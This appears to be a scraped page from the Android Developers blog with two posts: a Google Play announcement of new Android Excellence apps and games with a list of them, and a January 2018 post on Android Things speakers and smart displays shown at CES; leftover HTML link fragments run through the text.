Posted by Kacey Fahey, Developer Marketing, Google Play

Kicking off the new year, we're excited to welcome our latest group of Android Excellence href="https://play.google.com/store/apps/topic?id=campaign_editorial_3002b4f_android_excellence_apps&hl=en">apps and href="https://play.google.com/store/apps/topic?id=campaign_editorial_3002b50_android_excellence_games&hl=en">games. These awardees represent some of the best experiences and top performing apps and games on the Play Store and can be found with other great selections on the href="https://play.google.com/store/apps/topic?id=editors_choice&hl=en">Editors' Choice page.

If you're looking for some new apps, below are a few highlights.

  • href="https://play.google.com/store/apps/details?id=com.baseapp.eyeem&hl=en">EyeEm: A great photo editor app with a full suite of filters and tools to make your pictures shine. Learn style tips from their community and even sell your images through the EyeEm marketplace.

  • href="https://play.google.com/store/apps/details?id=com.musixmatch.android.lyrify">Musixmatch: Check out Musixmatch's updated app while learning the lyrics to all your favorite songs. The app is compatible with many of the top music streaming services and you can even follow along with your Android Wear device or on the big screen with Chromecast support.

  • href="https://play.google.com/store/apps/details?id=com.augmentra.viewranger.android">ViewRanger: Plan your next hiking adventure by discovering new routes and trail guides with ViewRanger. Check out the Skyline feature using your phone's camera to identify over 9 million sites across the world through augmented reality.


Here are a few of our favorite new games joining the collection.

  • Fire Emblem Heroes: Nintendo's popular strategy-RPG franchise is now reimagined for mobile. Fight battles, develop your heroes' skills, and try various gameplay modes for hours of exciting gameplay.

  • href="https://play.google.com/store/apps/details?id=air.com.noodlecake.luminocity">Lumino City: Explore the charming papercraft style world in this award-winning puzzle adventure game. The beautiful scenery is all handcrafted.

  • href="https://play.google.com/store/apps/details?id=es.brokenrul.oldmansjourney">Old Man's Journey: Gorgeous scenery, an immersive soundtrack, and deep emotion help you uncover the old man's life stories while you solve puzzles and shape the landscape to determine his future.


Congratulations to the newly added Android Excellence apps and games.



New Android Excellence apps New Android Excellence games
href="https://play.google.com/store/apps/details?id=io.onetap.app.receipts.uk">1tap

href="https://play.google.com/store/apps/details?id=com.acorns.android">Acorns

href="https://play.google.com/store/apps/details?id=com.airbnb.android">Airbnb

href="https://play.google.com/store/apps/details?id=com.blinkhealth.blinkandroid">Blink Health

href="https://play.google.com/store/apps/details?id=com.blinkslabs.blinkist.android">Blinkist

href="https://play.google.com/store/apps/details?id=com.clue.android">Clue

Ditty

href="https://play.google.com/store/apps/details?id=com.baseapp.eyeem">EyeEm

href="https://play.google.com/store/apps/details?id=co.thefabulous.app">Fabulous

href="https://play.google.com/store/apps/details?id=com.ifttt.ifttt">IFTTT

href="https://play.google.com/store/apps/details?id=com.chaozh.iReader">iReader

href="https://play.google.com/store/apps/details?id=com.journey.app">Journey

href="https://play.google.com/store/apps/details?id=com.skysoft.kkbox.android">KKBOX

href="https://play.google.com/store/apps/details?id=com.linkedin.android">LinkedIn

href="https://play.google.com/store/apps/details?id=br.com.gerenciadorfinanceiro.controller">Mobills: Budget Planner

href="https://play.google.com/store/apps/details?id=com.musixmatch.android.lyrify">Musixmatch

href="https://play.google.com/store/apps/details?id=com.shpock.android">Shpock

href="https://play.google.com/store/apps/details?id=de.stocard.stocard">Stocard

href="https://play.google.com/store/apps/details?id=com.wevideo.mobile.android">Video Editor

href="https://play.google.com/store/apps/details?id=com.augmentra.viewranger.android">ViewRanger

YAZIO

YOP

href="https://play.google.com/store/apps/details?id=co.yakand.agentaapuzzleindisguise">Agent A

href="https://play.google.com/store/apps/details?id=com.kongregate.mobile.bitheroes.google">Bit Heroes

href="https://play.google.com/store/apps/details?id=com.ninjakiwi.supermonkey">Bloons Supermonkey 2

href="https://play.google.com/store/apps/details?id=com.cmplay.dancingline">Dancing Line

href="https://play.google.com/store/apps/details?id=com.vng.android.mps.dead.zombie2">DEAD WARFARE: Zombie

Dragon Project

Fire Emblem Heroes

href="https://play.google.com/store/apps/details?id=com.tinyco.futurama">Futurama: Worlds of Tomorrow

Idle Heroes

href="https://play.google.com/store/apps/details?id=zombie.survival.craft.z">Last Day on Earth: Survival

href="https://play.google.com/store/apps/details?id=com.igg.android.lordsmobile">Lords Mobile

href="https://play.google.com/store/apps/details?id=air.com.noodlecake.luminocity">Lumino City

href="https://play.google.com/store/apps/details?id=com.gameloft.android.ANMP.GloftMVHM">Modern Combat Versus

href="https://play.google.com/store/apps/details?id=es.brokenrul.oldmansjourney">Old Man's Journey

href="https://play.google.com/store/apps/details?id=com.nextgames.android.twd">The Walking Dead No Man's Land

href="https://play.google.com/store/apps/details?id=com.tencent.warwings2">War Wings

Explore other great apps and games in the href="https://play.google.com/store/apps/topic?id=editors_choice">Editors' Choice section on Google Play and href="https://developer.android.com/distribute/best-practices/index.html">discover best practices to help you build quality apps and games for people to love.

How useful did you find this blogpost?

href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?usp=pp_url&entry.753333049=1%E2%98%85+%E2%80%93+Not+at+all&entry.2056663615&entry.646747778=AndroidExcellencerefresh-10/27" style="color:gold;">★ href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?usp=pp_url&entry.753333049=2%E2%98%85+%E2%80%93+Not+very&entry.2056663615&entry.646747778=AndroidExcellencerefresh-10/27" style="color:gold;">★ href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?usp=pp_url&entry.753333049=3%E2%98%85+%E2%80%93+Somewhat&entry.2056663615&entry.646747778=AndroidExcellencerefresh-10/27" style="color:gold;">★ href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?usp=pp_url&entry.753333049=4%E2%98%85+%E2%80%93+Very&entry.2056663615&entry.646747778=AndroidExcellencerefresh-10/27" style="color:gold;">★ href="https://docs.google.com/forms/d/e/1FAIpQLScLTlzFd_aV-3rAdBqO1QxwCsuAcDCIM6fJFXyNcyf7zElVXg/viewform?usp=pp_url&entry.753333049=5%E2%98%85+%E2%80%93+Extremely&entry.2056663615&entry.646747778=AndroidExcellencerefresh-10/27" style="color:gold;">★

Monday, January 8, 2018

New Products At CES powered by Android Things

By Venkat Rapaka, Director of Product Management, Google


The Android Things team has been working closely with our partners to create
compelling, secure and thoughtful IoT products. During the Consumer Electronics
Show (CES) in Las Vegas, a number of our OEM partners are announcing their first
set of products powered by Android Things. These products are built on certified
Android Things System-on-Modules (SoMs) from our silicon partners, benefit from
regular feature and security updates from Google, and have the Google Assistant
and Google Cast seamlessly built in.



New voice-activated speakers powered by Android Things are being announced at
CES, including the LG ThinQ WK7 and iHome iGV1. Turnkey hardware solutions based
on the Qualcomm SD212 Home Hub Platform, MediaTek MT8516 and Rockchip RK3229 SoM
are certified for the Assistant and Cast, and NXP i.MX 8M is coming soon. Three
of our Original Design Manufacturer (ODM) partners, href="https://www.tymphany.com/">Tymphany, href="http://www.goertek.com/en/">Goertek, and href="http://www.tonlyele.com/">Tonly, have created full speaker reference
designs based on these SoMs to further reduce development cost and
time-to-market.



Today, we also href="https://www.blog.google/products/assistant/new-devices-more-google-assistant-ces-2018/
">announced that the Google Assistant is coming to href="https://www.youtube.com/watch?v=ARA0AxrnHdM">smart displays powered by
Android Things. These new devices have the Assistant and Cast built in, and with
the added benefit of a touch screen, they can help you see and do more. Smart
displays from JBL, href="http://blog.lenovo.com/en/blog/seeing-is-believing-on-the-new-lenovo-smart-display-with-the-google-assista">Lenovo,
LG (all based on the Qualcomm SD624 Home Hub Platform) and Sony (based on the
MediaTek MT8173 SoM) will be available later this year.



Of course, Android Things is designed to support a wide variety of devices
beyond speakers and smart displays. Prototype demos can be found in the NXP
booth, such as HandBot, href="https://www.hackster.io/57970/android-things-drawbot-9cdb1d">DrawBot,
3D printer, and AI artwork T-shirts.



Starting tomorrow, you can visit the Google Assistant Playground (booth CP-21)
at CES to view new products, chipsets, and reference designs by our partners. In
addition, these devices are also available for display in other company spaces
throughout the conference, including Lenovo, LG, JBL, Qualcomm, MediaTek, NXP,
Rockchip, iHome, Goertek, and Tymphany.



Android Things is currently in Developer Preview, and you can get started with
the latest version DP6.1. You can use the href="https://partner.android.com/things/console">Android Things Console to
download system images and flash existing devices. Feedback can be given by
filing href="https://code.google.com/p/android/issues/entry?template=Android%20Things%20bug%20report">bug
reports and href="https://code.google.com/p/android/issues/entry?template=Android%20Things%20feature%20request">feature
requests, as well as on href="http://stackoverflow.com/questions/tagged/android-things">Stack
Overflow or our Google's IoT Developers
Community
. The Long Term Support release will be available this year, with
more details coming soon.